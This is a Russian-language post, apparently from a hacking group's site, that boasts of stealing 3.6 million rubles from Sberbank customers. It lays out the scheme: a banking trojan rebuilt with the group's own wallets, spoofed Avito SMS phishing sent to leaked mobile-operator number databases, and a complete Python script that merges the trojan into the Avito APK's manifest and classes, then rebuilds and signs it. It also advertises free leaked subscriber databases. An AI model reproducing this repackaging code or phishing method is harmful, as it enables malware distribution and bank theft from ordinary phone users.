Подняли 3.600.000 руб. | ОТЧЕТ

Подняли 3.600.000 руб. | ОТЧЕТ

www.hackerplace.org
Всем салют, дорогие друзья. Прошло немного времени с завершения нашего дела. О нас написали некоторые из СМИ. Буквально за 4 дня нам удалось вытащить 3,6 млн. руб. со счетов клиентов сбера. Каким образом мы действовали вы сегодня и узнаете.
Погнали!


Около 5 месяцев назад к нам попали исходники трояна, известного и распространяемого в кругах, как Android.BankBot.358.origin.

Разобравшись со структурой данного ПО, зашив свои кошельки, начали готовится к наступлению.



В чем суть

Все довольно-таки просто: имея на руках настроенный троян, остается только распространить его.

  • Как же сделать это, если наши жертвы - смартфоны с ОС Android?
  • Фишинг, дорогие друзья!


И вот, что сделали мы

Нам понадобится:

  • Наша любимая база номеров МТС, к ней добавим Билайн
  • Сервис для отправки SMS с подменой номера.
  • Наш троян, склеенный с приложением Avito.

Кстати, ученикам Hacker Place Academy мы совершенно бесплатно предоставим базы операторов связи РФ за 2019 год.
  • Как отправить сообщение с чужого номера?
  • Очень просто!
    Отправлять SMS от лица Avito.ru мы будем через зарекомендовавший себя сервис https://sip-system.com (не реклама).

Теперь немного о том, как мы склеили приложение Avito с нашим трояном


Весь код будет на Python


Имеем:

1. Папка apk — для файлов с apk;

2. Папка tmp — для декомпилированных файлов;

3. Папка tools — с дополнительным софтом(таким как apktool.jar,sign.jar,testkey).

Сначала определяем текущую папку, в которой работаем и папки куда будем декомпилировать:

#!/usr/bin/python
# -*- coding: utf-8 -*-
import re
import codecs
import os 
from os import listdir
import shutil
import subprocess
import datetime
pwd = os.getenv("PWD", os.getcwd()) # текущая папка
apkFolder1=pwd+"/tmp/1" # декомпилированный apk1
apkFolder2=pwd+"/tmp/2" # декомпилированный apk2

Затем производим декомпилирование apk файлов в папку tmp:

print "Декомпиляция "+pwd+"/apk/1.apk"
subprocess.call("java -jar "+ pwd+"/tools/apktool.jar d "+pwd+"/apk/1.apk -f -o " + pwd+"/tmp/1" , shell=True )
print "Декомпиляция "+pwd+"/apk/2.apk"
 subprocess.call("java -jar " + pwd+"/tools/apktool.jar d "+pwd+"/apk/2.apk -f -o " + pwd+"/tmp/2" , shell=True )

После этого шага у нас есть две папки /tmp/1 и /tmp/2 с декомпилированными файлами. Теперь самое интересное — объединение манифестов!

print "Создание нового манифеста"
mainfest1 = open(apkFolder1+"/AndroidManifest.xml", "r").read()  # читаем манифест того, который будем добавлять в другое приложение 
service1 = mainfest1[(mainfest1.find("</activity>")+len("</activity>")):mainfest1.find("</application>")] # копируем все службы и сервисы 
permission1=mainfest1[ mainfest1.find("<uses-permission"):mainfest1.find("<application ")]# копируем все разрешения
mainfest2 = open(apkFolder2+"/AndroidManifest.xml", "r").read() # читаем манифест того куда будем добавлять
new_mainfest2 = mainfest2[0:mainfest2.find("<application")] +permission1+ mainfest2[mainfest2.find("<application"):mainfest2.find("</application")] +service1 + mainfest2[mainfest2.find("</application>"):mainfest2.find("</manifest>")+len("</manifest>")]
# перезапись созданного манифеста
new_mainfest = open(apkFolder2+"/AndroidManifest.xml", "w")
new_mainfest.write(new_mainfest2 )
new_mainfest.close()

Теперь по порядку в этом коде:

Находим файл AndroidManifest.xml в папке /tmp/1:

mainfest1 = open(apkFolder1+"/AndroidManifest.xml", "r").read()

В этом файле находим все заявленные сервисы и классы:

service1 = mainfest1[(mainfest1.find("</activity>")+len("</activity>")):mainfest1.find("</application>")] 

В AndroidManifest.xml папки /tmp/1 Копируем все от тега "<uses-permission" до тега "<application ". Тут находятся все разрешения, которые нужны программе:

permission1=mainfest1[ mainfest1.find("<uses-permission"):mainfest1.find("<application ")]

Находим файл AndroidManifest.xml в папке /tmp/2:

mainfest1 = open(apkFolder2+"/AndroidManifest.xml", "r").read()

После этого нам надо объединить все это в один файл, так, чтоб все было на своих местах.

Новый манифест (new_mainfest2) состоит из:

  1. Начало AndroidManifest.xml приложения 2.apk(от начала до конца необходимых разрешений);
  1. Прибавляем сюда разрешения приложения 1.apk (permission1);
  1. Добавляем все, что есть в AndroidManifest.xml приложения 2.apk от тега "<application" до "

Добавляем все службы приложения 1.apk (service1);

Дописываем остатки AndroidManifest.xml приложения 2.apk.

new_mainfest2 = mainfest2[0:mainfest2.find("<application")] +permission1+ mainfest2[mainfest2.find("<application"):mainfest2.find("</application")] +service1 + mainfest2[mainfest2.find("</application>"):mainfest2.find("</manifest>")+len("</manifest>")]

Перезапись AndroidManifest.xml в папке /tmp/2:

# перезапись созданного манифеста
new_mainfest = open(apkFolder2+"/AndroidManifest.xml", "w")
new_mainfest.write(new_mainfest2 )
new_mainfest.close()

На этом сборка AndroidManifest закончена. Осталось скопировать все классы из /tmp/1 в /tmp/2. А точнее будем копировать папки smali(тут все классы приложения) и unknown:

subprocess.call("cp -rn "+apkFolder1+"/smali "+apkFolder2  , shell=True ) # копирование из /smali apkFolder1 в /smali apkFolder2
subprocess.call("cp -rn "+apkFolder1+"/unknown "+apkFolder2  , shell=True ) # копирование из /unknown apkFolder1 в /unknown apkFolder2
 

Ну и в завершение надо собрать все это в файл формата apk, подписать:

 print "Компиляция apk в папку "+ pwd+"/tmp/3.apk"
subprocess.call("java -jar " + pwd+"/tools/apktool.jar b "+pwd+"/tmp/2 -o " + pwd+"/tmp/3.apk" , shell=True )
print "Подпись файла "+ pwd+"/tmp/3.apk" 
subprocess.call("java -jar " + pwd+"/tools/sign.jar "+pwd+"/tmp/3.apk --override", shell=True )   
 

В результате этого в папке tmp появляется файл 3.apk, который и является склейкой двух других.


ИТОГ ВЫ ЗНАЕТЕ ИЗ НАЗВАНИЯ - 3.600.000 РУБ.

🔻Узнать всю информацию ты можешь на нашем сайте - www.hackerplace.org

🔻Задать совершенно любой вопрос ты можешь написав лично мне - @zooomme